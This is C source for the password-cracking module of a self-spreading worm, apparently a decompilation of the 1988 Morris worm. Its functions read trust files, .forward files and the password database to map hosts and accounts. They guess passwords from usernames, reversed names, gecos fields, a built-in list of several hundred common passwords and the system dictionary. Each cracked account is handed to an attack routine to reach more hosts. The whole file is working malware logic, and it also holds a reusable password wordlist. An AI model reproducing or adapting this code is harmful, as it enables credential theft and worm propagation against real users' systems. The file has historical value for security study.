cracksome.c

/* Dover */

#include "worm.h"
#include <stdio.h>
#include <ctype.h>
#include <strings.h>
#include <pwd.h>

int cmode;
extern struct hst *h_name2host();

struct usr {					/* sizeof(usr) == 58 */
    char *name, *o4, *o8, *o12;
    char passwd[14];				/* offset 16 */
    char decoded_passwd[14];			/* 30 */
    short pad;
    char *homedir;				/* offset 46 */
    char *gecos;				/* offset 50 */
    struct usr *next;				/* offset 54 */
};

/* Ahhh, I just love these names.  Don't change them for anything. */
static struct usr *x27f28, *x27f2c;

/* Crack some passwords. */
cracksome()
{
    switch (cmode){
    case 0:
	strat_0();
	return;					/* 88 */
    case 1:
	strat_1();
	return;
    case 2:
	try_words();
	return;
    case 3:
	dict_words();
	return;
    }
}

/* Strategy 0, look through /etc/hosts.equiv, and /.rhost for new hosts */
strat_0()					/* 0x5da4 */
{
    FILE *hosteq;
    char scanbuf[512];
    char fwd_buf[256];
    char *fwd_host;
    char getbuf[256];
    struct passwd *pwent;
    char local[20];
    struct usr *user;
    struct hst *host;				/* 1048 */
    int check_other_cnt;			/* 1052 */
    static struct usr *user_list = NULL;

    hosteq = fopen(XS("/etc/hosts.equiv"), XS("r"));
    if (hosteq != NULL) {			/* 292 */
	while (fscanf(hosteq, XS("%.100s"), scanbuf)) {
	    host = h_name2host(scanbuf, 0);
	    if (host == 0) {
		host = h_name2host(scanbuf, 1);
		getaddrs(host);
	    }
	    if (host->o48[0] == 0)		/* 158 */
		continue;
	    host->flag |= 8;
	}
	fclose(hosteq);				/* 280 */
    }

    hosteq = fopen(XS("/.rhosts"), XS("r"));
    if (hosteq != NULL) {			/* 516 */
	while (fgets(getbuf, sizeof(getbuf), hosteq)) { /* 344,504 */
	    if (sscanf(getbuf, XS("%s"), scanbuf) != 1)
		continue;
	    host = h_name2host(scanbuf, 0);
	    while (host == 0) {			/* 436, 474 */
		host = h_name2host(scanbuf, 1);
		getaddrs(host);
	    }
	    if (host->o48[0] == 0)
		continue;
	    host->flag |= 8;
	}
	fclose(hosteq);
    }

    /* look through the passwd file, checking for contact with others every
     * tenth entry. */
    setpwent();
    check_other_cnt = 0;					/* 522 */
    while ((pwent = getpwent()) != 0) {		/* 526, 1124 */
	if ((check_other_cnt % 10) == 0)
	    other_sleep(0);
	check_other_cnt++;
	sprintf(fwd_buf, XS("%.200s/.forward"), pwent->pw_dir);
	hosteq = fopen(fwd_buf, XS("r"));
	if (hosteq != NULL) {			/* 834 */
	    while (fgets(scanbuf, sizeof(scanbuf), hosteq)) { /* 650,822 */
		/* Punt the newline */
		(&scanbuf[strlen(scanbuf)])[-1] = '\0';
		fwd_host = index(scanbuf, '@');
		if (fwd_host == NULL)
		    continue;
		host = h_name2host(++fwd_host, 0);
		if (host == NULL) {
		    host = h_name2host(fwd_host, 1);
		    getaddrs(host);
		}
		if (host->o48[0] == 0)
		    continue;
		host->flag |= 8;
	    }
	    fclose(hosteq);
	}
	/* Don't do foreign or compilcated hosts */
	if (strlen(host->hostname) > 11)
	    continue;
	user = (struct usr *)malloc(sizeof(struct usr));
	strcpy(user->name, pwent->pw_name);
	strcpy(&user->passwd[0], XS("x"));
	user->decoded_passwd[0] = '\0';
	user->homedir = strcpy(malloc(strlen(pwent->pw_dir)+1), pwent->pw_dir);
	user->gecos = strcpy(malloc(strlen(pwent->pw_gecos)+1), pwent->pw_gecos
);
	user->next = user_list;
	user_list = user;
    }
    endpwent();
    cmode = 1;
    x27f2c = user_list;
    return;
}

/* Check for 'username', 'usernameusername' and 'emanresu' as passwds. */
static strat_1()				/* 0x61ca */
{
    int cnt;
    char usrname[50], buf[50];

    for (cnt = 0; x27f2c && cnt < 50; x27f2c = x27f2c->next) { /* 1740 */
	/* Every tenth time look for "me mates" */
	if ((cnt % 10) == 0)
	    other_sleep(0);
	/* Check for no passwd */
	if (try_passwd(x27f2c, XS("")))			/* other_fd+84 */
	    continue;			/* 1722 */
	/* If the passwd is something like "*" punt matching it. */
	if (strlen(x27f2c->passwd) != 13)
	    continue;
	strncpy(usrname, x27f2c, sizeof(usrname)-1);
	usrname[sizeof(usrname)-1] = '\0';
	if (try_passwd(x27f2c, usrname))
	    continue;
	sprintf(buf, XS("%.20s%.20s"), usrname, usrname);
	if (try_passwd(x27f2c, buf))
	    continue;				/* 1722 */
	sscanf(x27f2c->gecos, XS("%[^ ,]"), buf);
	if (isupper(buf[0]))
	    buf[0] = tolower(buf[0]);
	if (strlen(buf) > 3  && try_passwd(x27f2c, buf))
	    continue;
	buf[0] = '\0';
	sscanf(x27f2c->gecos, XS("%*s %[^ ,]s"), buf);
	if (isupper(buf[0]))
	    buf[0] = tolower(buf[0]);
	if (strlen(buf) > 3  && index(buf, ',') == NULL  &&
	    try_passwd(x27f2c, buf))
	    continue;
	reverse_str(usrname, buf);
	if (try_passwd(x27f2c, buf))
	    ;
    }
    if (x27f2c == 0)
	cmode = 2;
    return;
}

static reverse_str(str1, str2)			/* x642a */
     char *str1, *str2;
{
    int length, i;

    length = strlen(str1);

    for(i = 0; i < length; i++)
	str2[i] = (&str1[length-i]) [-1];
    str2[length] = '\0';
    return;
}

static try_passwd(user, str)			/* 0x6484, unchecked */
     struct usr *user;
     char *str;
{
    if (strcmp(user->passwd, crypt(str, user->passwd)) == 0  ||
	(str[0] == '\0'  &&  user->passwd == '\0')) {
	    strncpy(user->decoded_passwd, str, sizeof(user->decoded_passwd));
	    user->decoded_passwd[sizeof(user->decoded_passwd)-1] = '\0';
	    attack_user(user);
	    return 1;
	}
    return 0;
}


/* Collect hostnames and run hueristic #1 for this user's .forward and .rhosts
 */
/* This is only called from try_passwd() */
static attack_user(user)			/* 0x6514 */
     struct usr *user;
{
    FILE *fwd_fp;
    char buf[512], *hostpart;			/* l516 */
    char rhbuf[256];				/* l776 */
    char l1288[512];
    struct hst *host;				/* l1292 */

    sprintf(buf, XS("%.200s/.forward"), user->homedir);	/* <other_fd+11
5> */
    fwd_fp = fopen(buf, XS("r"));
    if (fwd_fp) {
	while (fgets(buf, sizeof(buf), fwd_fp)) { /* 2088,2222 */
	    /* Punt the newline */
	    buf[strlen(buf) - 1] = '\0';
	    hostpart = index(buf, '@');
	    /* If no hostname, it's not foreign so ignore it. */
	    if (hostpart == NULL)
		continue;
	    /* Split username and hostname */
	    *hostpart++ = '\0';

	    /* Here there appears to be a bug!!!  It works correctly
	     * by coincidence of pushing things on the stack. */
#ifndef FIX_BUGS
	    host = h_name2host(hostpart, 1);
	    hu1(user, host, buf);
#else						/* original */
	    /* 'hu1' should have another argument */
	    hu1(user, (host = h_name2host(hostpart, 1, buf)));
#endif

	}
	fclose(fwd_fp);
    }

    sprintf(buf, XS("%.200s/.rhosts"), user->homedir);
    fwd_fp = fopen(buf, XS("r"));
    if (fwd_fp) {				/* 2446 */
	while (fgets(rhbuf, sizeof(rhbuf), fwd_fp)) { /* 2312,2434 */
	    l1288[0] = '\0';
	    if (sscanf(rhbuf, XS("%s%s"), buf, l1288) < 1)
		continue;
	    host = h_name2host(buf, 1);
	    hu1(user, host, l1288);
	}
	fclose(fwd_fp);
    }
    return;
}

/* This array in the sun binary was camaflouged by having the
   high-order bit set in every char. */

char *wds[] = 					/* 0x21a74 */
{
 	"academia", "aerobics", "airplane", "albany",
 	"albatross", "albert", "alex", "alexander",
 	"algebra", "aliases", "alphabet", "amorphous",
 	"analog", "anchor", "andromache", "animals",
 	"answer", "anthropogenic", "anvils", "anything",
 	"aria", "ariadne", "arrow", "arthur",
 	"athena", "atmosphere", "aztecs", "azure",
 	"bacchus", "bailey", "banana", "bananas",
 	"bandit", "banks", "barber", "baritone",
 	"bass", "bassoon", "batman", "beater",
 	"beauty", "beethoven", "beloved", "benz",
 	"beowulf", "berkeley", "berliner", "beryl",
 	"beverly", "bicameral", "brenda", "brian",
 	"bridget", "broadway", "bumbling", "burgess",
 	"campanile", "cantor", "cardinal", "carmen",
 	"carolina", "caroline", "cascades", "castle",
 	"cayuga", "celtics", "cerulean", "change",
 	"charles", "charming", "charon", "chester",
 	"cigar", "classic", "clusters", "coffee",
 	"coke", "collins", "commrades", "computer",
 	"condo", "cookie", "cooper", "cornelius",
 	"couscous", "creation", "creosote", "cretin",
 	"daemon", "dancer", "daniel", "danny",
 	"dave", "december", "defoe", "deluge",
 	"desperate", "develop", "dieter", "digital",
 	"discovery", "disney", "drought", "duncan",
 	"eager", "easier", "edges", "edinburgh",
 	"edwin", "edwina", "egghead", "eiderdown",
 	"eileen", "einstein", "elephant", "elizabeth",
 	"ellen", "emerald", "engine", "engineer",
 	"enterprise", "enzyme", "ersatz", "establish",
 	"estate", "euclid", "evelyn", "extension",
 	"fairway", "felicia", "fender", "fermat",
 	"fidelity", "finite", "fishers", "flakes",
 	"float", "flower", "flowers", "foolproof",
 	"football", "foresight", "format", "forsythe",
 	"fourier", "fred", "friend", "frighten",
 	"fungible", "gabriel", "gardner", "garfield",
 	"gauss", "george", "gertrude", "ginger",
 	"glacier", "golfer", "gorgeous", "gorges",
 	"gosling", "gouge", "graham", "gryphon",
 	"guest", "guitar", "gumption", "guntis",
 	"hacker", "hamlet", "handily", "happening",
 	"harmony", "harold", "harvey", "hebrides",
 	"heinlein", "hello", "help", "herbert",
 	"hiawatha", "hibernia", "honey", "horse",
 	"horus", "hutchins", "imbroglio", "imperial",
 	"include", "ingres", "inna", "innocuous",
 	"irishman", "isis", "japan", "jessica",
 	"jester", "jixian", "johnny", "joseph",
 	"joshua", "judith", "juggle", "julia",
 	"kathleen", "kermit", "kernel", "kirkland",
 	"knight", "ladle", "lambda", "lamination",
 	"larkin", "larry", "lazarus", "lebesgue",
 	"leland", "leroy", "lewis", "light",
 	"lisa", "louis", "lynne", "macintosh",
 	"mack", "maggot", "magic", "malcolm",
 	"mark", "markus", "marty", "marvin",
 	"master", "maurice", "mellon", "merlin",
 	"mets", "michael", "michelle", "mike",
 	"minimum", "minsky", "moguls", "moose",
 	"morley", "mozart", "nancy", "napoleon",
 	"nepenthe", "ness", "network", "newton",
 	"next", "noxious", "nutrition", "nyquist",
 	"oceanography", "ocelot", "olivetti", "olivia",
 	"oracle", "orca", "orwell", "osiris",
 	"outlaw", "oxford", "pacific", "painless",
 	"pakistan", "papers", "password", "patricia",
 	"penguin", "peoria", "percolate", "persimmon",
 	"persona", "pete", "peter", "philip",
 	"phoenix", "pierre", "pizza", "plover",
 	"plymouth", "polynomial", "pondering", "pork",
 	"poster", "praise", "precious", "prelude",
 	"prince", "princeton", "protect", "protozoa",
 	"pumpkin", "puneet", "puppet", "rabbit",
 	"rachmaninoff", "rainbow", "raindrop", "raleigh",
 	"random", "rascal", "really", "rebecca",
 	"remote", "rick", "ripple", "robotics",
 	"rochester", "rolex", "romano", "ronald",
 	"rosebud", "rosemary", "roses", "ruben",
 	"rules", "ruth", "saxon", "scamper",
 	"scheme", "scott", "scotty", "secret",
 	"sensor", "serenity", "sharks", "sharon",
 	"sheffield", "sheldon", "shiva", "shivers",
 	"shuttle", "signature", "simon", "simple",
 	"singer", "single", "smile", "smiles",
 	"smooch", "smother", "snatch", "snoopy",
 	"soap", "socrates", "sossina", "sparrows",
 	"spit", "spring", "springer", "squires",
 	"strangle", "stratford", "stuttgart", "subway",
 	"success", "summer", "super", "superstage",
 	"support", "supported", "surfer", "suzanne",
 	"swearer", "symmetry", "tangerine", "tape",
 	"target", "tarragon", "taylor", "telephone",
 	"temptation", "thailand", "tiger", "toggle",
 	"tomato", "topography", "tortoise", "toyota",
 	"trails", "trivial", "trombone", "tubas",
 	"tuttle", "umesh", "unhappy", "unicorn",
 	"unknown", "urchin", "utility", "vasant",
 	"vertigo", "vicky", "village", "virginia",
 	"warren", "water", "weenie", "whatnot",
 	"whiting", "whitney", "will", "william",
 	"williamsburg", "willie", "winston", "wisconsin",
 	"wizard", "wombat", "woodwind", "wormwood",
 	"yacov", "yang", "yellowstone", "yosemite",
 	"zimmerman",
	0
};
int nextw = 0;					/* 0x24868 */

/* Try a list of potential passwds for each user. */
static try_words()				/* 0x66da */
{
    struct usr *user;
    int i, j;

    if (wds[nextw] == 0) {
	cmode++;
	return;					/* 2724 */
    }
    if (nextw == 0) {				/* 2550 */
	for (i = 0; wds[i]; i++)
	    ;
	permute(wds, i, sizeof(wds[0]));
    }

    for (j = 0; wds[nextw][j] != '\0'; j++)
	wds[nextw][j] &= 0x7f;
    for (user = x27f28; user; user = user->next)
	try_passwd(user, wds[nextw]);
    for (j = 0; wds[nextw][j]; j++)		/* 2664,2718 */
	wds[nextw][j] |= 0x80;
    nextw += 1;
    return;
}


/* Called only from the cracksome() dispatch loop. Tries a single word from th
e
 * dictionary, downcasing if capitalized and trying again. */
static dict_words()				/* 0x67f0 */
{
    char buf[512];
    struct usr *user;
    static FILE *x27f30;

    if (x27f30 != NULL) {
	x27f30 = fopen(XS("/usr/dict/words"), XS("r"));
	if (x27f30 == NULL)
	    return;
    }
    if (fgets(buf, sizeof(buf), x27f30) == 0) {	/* 2808,2846 */
	cmode++;
	return;
    }
    (&buf[strlen(buf)])[-1] = '\0';

    for (user = x27f28; user; user = user->next) /* 2910 */
	try_passwd(user, buf);
    if (!isupper(buf[0]))
	return;
    buf[0] = tolower(buf[0]);

    for (user = x27f28; user; user = user->next)
	try_passwd(user, buf);
    return;					/* 2988 */
}
	
/*
 * Local variables:
 * comment-column: 48
 * compile-command: "cc -S cracksome.c"
 * End:
 */